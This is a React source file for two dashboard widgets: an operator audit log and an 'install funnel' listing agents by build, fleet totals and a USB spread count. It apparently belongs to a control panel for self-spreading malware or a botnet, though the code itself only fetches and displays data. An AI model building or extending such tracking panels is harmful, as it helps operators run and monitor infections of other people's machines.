import { useEffect, useState } from 'react'; import { api } from '../../api/client'; import type { AuditEntry } from '../../types'; import NeonCard from '../NeonCard/NeonCard'; export function AuditLogStrip({ limit = 8 }: { limit?: number }) { const [entries, setEntries] = useState([]); useEffect(() => { api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([])); const t = setInterval(() => { api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {}); }, 60000); return () => clearInterval(t); }, [limit]); return (

OPERATOR AUDIT

Recent actions (last 50 on server)

{entries.length === 0 ? (

No audit entries yet.

) : ( )}
); } export function SpreadFunnelWidget() { const [stats, setStats] = useState> | null>(null); useEffect(() => { api.getSpreadFunnel().then(setStats).catch(() => setStats(null)); }, []); if (!stats) return null; const byBuild = stats.by_build ?? []; return (

INSTALL FUNNEL

Agents by build (7 days)

New today: {stats.new_connects_today} Fleet total: {stats.total_agents}
{byBuild.length === 0 ? (

No agents in the last 7 days.

) : ( {byBuild.slice(0, 10).map((r, i) => ( ))}
BuildWorkerCountUSB
{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''} {r.worker_name} {r.count} {r.usb_spread_count > 0 ? r.usb_spread_count : '—'}
)}
); }